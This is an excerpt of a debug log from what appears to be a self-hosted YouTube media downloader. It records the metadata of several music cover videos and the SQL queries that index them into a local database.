"live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=iCIdnu-2TQ4", "playlist_index" => 28, "timestamp" => 1586638811, "title" => "Decode (Paramore) Cover by Lollia feat. @RichaadEB", "upload_date" => "20200411"} 22:22:29.091 [debug] QUERY OK source="sources" db=0.2ms idle=36.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:29.091 [debug] QUERY OK source="sources" db=0.1ms idle=36.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:29.091 [debug] QUERY OK source="media_items" db=0.1ms idle=35.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-04-11 21:00:11Z], 1] 22:22:29.245 [debug] QUERY OK source="media_items" db=153.7ms idle=34.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["𝕾𝖙𝖗𝖊𝖆𝖒\nhttps://lolliaofficial.com/release/thecollectivev01/\n_\nTEAM EDWARD OR JACOB? Nah jk lol... WOO! Here it is. Recording this song was almost the bane of my existence, but I'm SUPER proud of how this turned out! This is one of my dream covers, and I'm happy I was able to collab with my good friends Rich and Rachel. I love you guys! Also, be sure to check our other collab on @RichaadEB's channel. We covered \"A Cruel Angel's Thesis\"! https://www.youtube.com/watch?v=4PufrCwfIhk\n_\n𝕮𝖗𝖊𝖉𝖎𝖙𝖘\n♦ Vocals by @lollia_official.\n♦ Arrangement, guitar and mix by @RichaadEB.\n♦ Music video filmed and produced by Rachel E.B. (https://twitter.com/thunderesque)\n♦ Original song by Paramore.\n_\n𝕱𝖔𝖑𝖑𝖔𝖜 𝕸𝖊\n◈ https://lolliaofficial.com/links\n◈ https://ffm.bio/lollia\n_\n#PARAMORE #DECODE #TWILIGHT\n#lollia #lolliacover \n(LYRICS IN COMMENT SECTION)\n© PRODUCTION OF ROSE MOON STUDIOS LLC", "Decode (Paramore) Cover by Lollia feat. @RichaadEB", "fec5f4fe-42f0-46e7-a221-fb8dc32e41a2", false, "iCIdnu-2TQ4", 257, false, "https://www.youtube.com/watch?v=iCIdnu-2TQ4", 28, "/downloads/Nightcore/Nightcore/2020-04-11Decode (Paramore) Cover by Lollia feat. @RichaadEB[iCIdnu-2TQ4].m4a", false, false, 1, [], 1, ~U[2020-04-11 21:00:11Z], ~U[2026-07-24 02:22:29Z], ~U[2026-07-24 02:22:29Z], "𝕾𝖙𝖗𝖊𝖆𝖒\nhttps://lolliaofficial.com/release/thecollectivev01/\n_\nTEAM EDWARD OR JACOB? Nah jk lol... WOO! Here it is. Recording this song was almost the bane of my existence, but I'm SUPER proud of how this turned out! This is one of my dream covers, and I'm happy I was able to collab with my good friends Rich and Rachel. I love you guys! Also, be sure to check our other collab on @RichaadEB's channel. We covered \"A Cruel Angel's Thesis\"! https://www.youtube.com/watch?v=4PufrCwfIhk\n_\n𝕮𝖗𝖊𝖉𝖎𝖙𝖘\n♦ Vocals by @lollia_official.\n♦ Arrangement, guitar and mix by @RichaadEB.\n♦ Music video filmed and produced by Rachel E.B. (https://twitter.com/thunderesque)\n♦ Original song by Paramore.\n_\n𝕱𝖔𝖑𝖑𝖔𝖜 𝕸𝖊\n◈ https://lolliaofficial.com/links\n◈ https://ffm.bio/lollia\n_\n#PARAMORE #DECODE #TWILIGHT\n#lollia #lolliacover \n(LYRICS IN COMMENT SECTION)\n© PRODUCTION OF ROSE MOON STUDIOS LLC", "Decode (Paramore) Cover by Lollia feat. @RichaadEB", "iCIdnu-2TQ4", 257, false, "https://www.youtube.com/watch?v=iCIdnu-2TQ4", "/downloads/Nightcore/Nightcore/2020-04-11Decode (Paramore) Cover by Lollia feat. @RichaadEB[iCIdnu-2TQ4].m4a", false, 1, ~U[2020-04-11 21:00:11Z]] 22:22:29.246 [debug] QUERY OK source="sources" db=0.3ms idle=155.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:29.246 [debug] QUERY OK source="media_profiles" db=0.2ms idle=155.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:29.247 [debug] QUERY OK source="media_items" db=0.2ms idle=155.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [28] 22:22:29.247 [debug] Current batch of media processed. Will check again in 1000ms 22:22:30.248 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "✶ Be my Patron: https://www.patreon.com/VioletOrlandi \n✶ Donate with PayPal - https://bit.ly/VioletOrlandi\n\n✶ MERCH - https://violet-orlandi-shop.fourthwall.com/\n\nFOLLOW ME:\nhttps://linktr.ee/VioletOrlandi\n\nSTREAM THIS COVER\nSpotify https://spoti.fi/3kyrjPu\nApple Music https://apple.co/3438JbZ\n\n----------------------------------------------------------------------------------------------------\n\nRecorded & produced by Elia Bazzi\nMix & master by Giampiero Ulacco - http://bit.ly/2T9tn5F\n\nKeep in touch with Barbie Sailers!\nYoutube ➵ https://www.youtube.com/barbiesailers", "duration" => 238, "filename" => "/downloads/Nightcore/Nightcore/2020-09-20Lana Del Rey - Summertime Sadness (ROCK COVER)[_EI4dchgzVw].m4a", "id" => "_EI4dchgzVw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_EI4dchgzVw", "playlist_index" => 29, "timestamp" => 1600627158, "title" => "Lana Del Rey - Summertime Sadness (ROCK COVER)", "upload_date" => "20200920"} 22:22:30.249 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:30.250 [debug] QUERY OK source="sources" db=0.3ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:30.250 [debug] QUERY OK source="media_items" db=0.4ms idle=1003.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-09-20 18:39:18Z], 1] 22:22:30.502 [debug] QUERY OK source="media_items" db=250.5ms idle=1004.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["✶ Be my Patron: https://www.patreon.com/VioletOrlandi \n✶ Donate with PayPal - https://bit.ly/VioletOrlandi\n\n✶ MERCH - https://violet-orlandi-shop.fourthwall.com/\n\nFOLLOW ME:\nhttps://linktr.ee/VioletOrlandi\n\nSTREAM THIS COVER\nSpotify https://spoti.fi/3kyrjPu\nApple Music https://apple.co/3438JbZ\n\n----------------------------------------------------------------------------------------------------\n\nRecorded & produced by Elia Bazzi\nMix & master by Giampiero Ulacco - http://bit.ly/2T9tn5F\n\nKeep in touch with Barbie Sailers!\nYoutube ➵ https://www.youtube.com/barbiesailers", "Lana Del Rey - Summertime Sadness (ROCK COVER)", "c430a553-efa4-4558-b4a8-4d7aaa5ed704", false, "_EI4dchgzVw", 238, false, "https://www.youtube.com/watch?v=_EI4dchgzVw", 29, "/downloads/Nightcore/Nightcore/2020-09-20Lana Del Rey - Summertime Sadness (ROCK COVER)[_EI4dchgzVw].m4a", false, false, 1, [], 1, ~U[2020-09-20 18:39:18Z], ~U[2026-07-24 02:22:30Z], ~U[2026-07-24 02:22:30Z], "✶ Be my Patron: https://www.patreon.com/VioletOrlandi \n✶ Donate with PayPal - https://bit.ly/VioletOrlandi\n\n✶ MERCH - https://violet-orlandi-shop.fourthwall.com/\n\nFOLLOW ME:\nhttps://linktr.ee/VioletOrlandi\n\nSTREAM THIS COVER\nSpotify https://spoti.fi/3kyrjPu\nApple Music https://apple.co/3438JbZ\n\n----------------------------------------------------------------------------------------------------\n\nRecorded & produced by Elia Bazzi\nMix & master by Giampiero Ulacco - http://bit.ly/2T9tn5F\n\nKeep in touch with Barbie Sailers!\nYoutube ➵ https://www.youtube.com/barbiesailers", "Lana Del Rey - Summertime Sadness (ROCK COVER)", "_EI4dchgzVw", 238, false, "https://www.youtube.com/watch?v=_EI4dchgzVw", "/downloads/Nightcore/Nightcore/2020-09-20Lana Del Rey - Summertime Sadness (ROCK COVER)[_EI4dchgzVw].m4a", false, 1, ~U[2020-09-20 18:39:18Z]] 22:22:30.502 [debug] QUERY OK source="sources" db=0.2ms idle=409.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:30.502 [debug] QUERY OK source="media_profiles" db=0.2ms idle=253.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:30.503 [debug] QUERY OK source="media_items" db=0.2ms idle=253.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [29] 22:22:30.503 [debug] Current batch of media processed. Will check again in 1000ms 22:22:31.505 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Studio 71\n\nSo Cold · First to Eleven\n\nCovers Vol. 14\n\n℗ 2023 First to Eleven, under exclusive license to Studio71\n\nReleased on: 2023-01-19\n\nMain Artist: First to Eleven\nLyricist: Benjamin Burnley\nComposer: Benjamin Burnley\n\nAuto-generated by YouTube.", "duration" => 271, "filename" => "/downloads/Nightcore/Nightcore/2025-12-16So Cold[oOqGt1U2e9w].m4a", "id" => "oOqGt1U2e9w", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oOqGt1U2e9w", "playlist_index" => 30, "timestamp" => 1765918009, "title" => "So Cold", "upload_date" => "20251216"} 22:22:31.505 [debug] QUERY OK source="sources" db=0.4ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:31.506 [debug] QUERY OK source="sources" db=0.3ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:31.506 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 20:46:49Z], 1] 22:22:31.695 [debug] QUERY OK source="media_items" db=188.7ms idle=1003.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Studio 71\n\nSo Cold · First to Eleven\n\nCovers Vol. 14\n\n℗ 2023 First to Eleven, under exclusive license to Studio71\n\nReleased on: 2023-01-19\n\nMain Artist: First to Eleven\nLyricist: Benjamin Burnley\nComposer: Benjamin Burnley\n\nAuto-generated by YouTube.", "So Cold", "02cc92f8-8c5f-4a98-b032-1aa757d7d562", false, "oOqGt1U2e9w", 271, false, "https://www.youtube.com/watch?v=oOqGt1U2e9w", 30, "/downloads/Nightcore/Nightcore/2025-12-16So Cold[oOqGt1U2e9w].m4a", false, false, 1, [], 1, ~U[2025-12-16 20:46:49Z], ~U[2026-07-24 02:22:31Z], ~U[2026-07-24 02:22:31Z], "Provided to YouTube by Studio 71\n\nSo Cold · First to Eleven\n\nCovers Vol. 14\n\n℗ 2023 First to Eleven, under exclusive license to Studio71\n\nReleased on: 2023-01-19\n\nMain Artist: First to Eleven\nLyricist: Benjamin Burnley\nComposer: Benjamin Burnley\n\nAuto-generated by YouTube.", "So Cold", "oOqGt1U2e9w", 271, false, "https://www.youtube.com/watch?v=oOqGt1U2e9w", "/downloads/Nightcore/Nightcore/2025-12-16So Cold[oOqGt1U2e9w].m4a", false, 1, ~U[2025-12-16 20:46:49Z]] 22:22:31.697 [debug] QUERY OK source="sources" db=0.6ms idle=602.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:31.697 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=191.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:31.699 [debug] QUERY OK source="media_items" db=0.6ms idle=191.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [30] 22:22:31.699 [debug] Current batch of media processed. Will check again in 1000ms 22:22:32.700 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "how do you drift?\n.\n› Genre(s): Eurobeat\n.\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› Sociabuzz: https://sociabuzz.com/imojist/tribe\n.\n› Follow Me on Facebook: https://www.facebook.com/imojistmusic/\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: Boom - How Do You Do?\n.\nArt: https://thptnganamst.edu.vn/top-100-image-red-hair-anime-girl/\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#boom #howdoyoudo #eurobeat #remix #music #nightcore", "duration" => 216, "filename" => "/downloads/Nightcore/Nightcore/2023-08-13HOW DO YOU DO? ⧸⧸ Eurobeat Remix - Boom[HMEClOtie6c].m4a", "id" => "HMEClOtie6c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HMEClOtie6c", "playlist_index" => 31, "timestamp" => 1691928542, "title" => "HOW DO YOU DO? // Eurobeat Remix - Boom", "upload_date" => "20230813"} 22:22:32.701 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1005.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:32.702 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:32.703 [debug] QUERY OK source="media_items" db=0.6ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-13 12:09:02Z], 1] 22:22:32.831 [debug] QUERY OK source="media_items" db=126.9ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["how do you drift?\n.\n› Genre(s): Eurobeat\n.\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› Sociabuzz: https://sociabuzz.com/imojist/tribe\n.\n› Follow Me on Facebook: https://www.facebook.com/imojistmusic/\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: Boom - How Do You Do?\n.\nArt: https://thptnganamst.edu.vn/top-100-image-red-hair-anime-girl/\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#boom #howdoyoudo #eurobeat #remix #music #nightcore", "HOW DO YOU DO? // Eurobeat Remix - Boom", "6c11632d-0cff-4c75-aec6-6df9057080f5", false, "HMEClOtie6c", 216, false, "https://www.youtube.com/watch?v=HMEClOtie6c", 31, "/downloads/Nightcore/Nightcore/2023-08-13HOW DO YOU DO? ⧸⧸ Eurobeat Remix - Boom[HMEClOtie6c].m4a", false, false, 1, [], 1, ~U[2023-08-13 12:09:02Z], ~U[2026-07-24 02:22:32Z], ~U[2026-07-24 02:22:32Z], "how do you drift?\n.\n› Genre(s): Eurobeat\n.\n› Subscribe Now: https://www.youtube.com/channel/UCZEZcozbf3e339wn3eZ31Tw?sub_confirmation=1\n.\n› Sociabuzz: https://sociabuzz.com/imojist/tribe\n.\n› Follow Me on Facebook: https://www.facebook.com/imojistmusic/\n.\n› Follow Me On Instagram: https://www.instagram.com/imojistmusic/\n.\n› Follow Me On Twitter: https://twitter.com/imojist\n.\n› Original Video/Song: Boom - How Do You Do?\n.\nArt: https://thptnganamst.edu.vn/top-100-image-red-hair-anime-girl/\n.\n› Follow me on various platforms: https://imojist.carrd.co\n.\n#boom #howdoyoudo #eurobeat #remix #music #nightcore", "HOW DO YOU DO? // Eurobeat Remix - Boom", "HMEClOtie6c", 216, false, "https://www.youtube.com/watch?v=HMEClOtie6c", "/downloads/Nightcore/Nightcore/2023-08-13HOW DO YOU DO? ⧸⧸ Eurobeat Remix - Boom[HMEClOtie6c].m4a", false, 1, ~U[2023-08-13 12:09:02Z]] 22:22:32.832 [debug] QUERY OK source="sources" db=0.5ms idle=737.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:32.832 [debug] QUERY OK source="media_profiles" db=0.2ms idle=130.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", 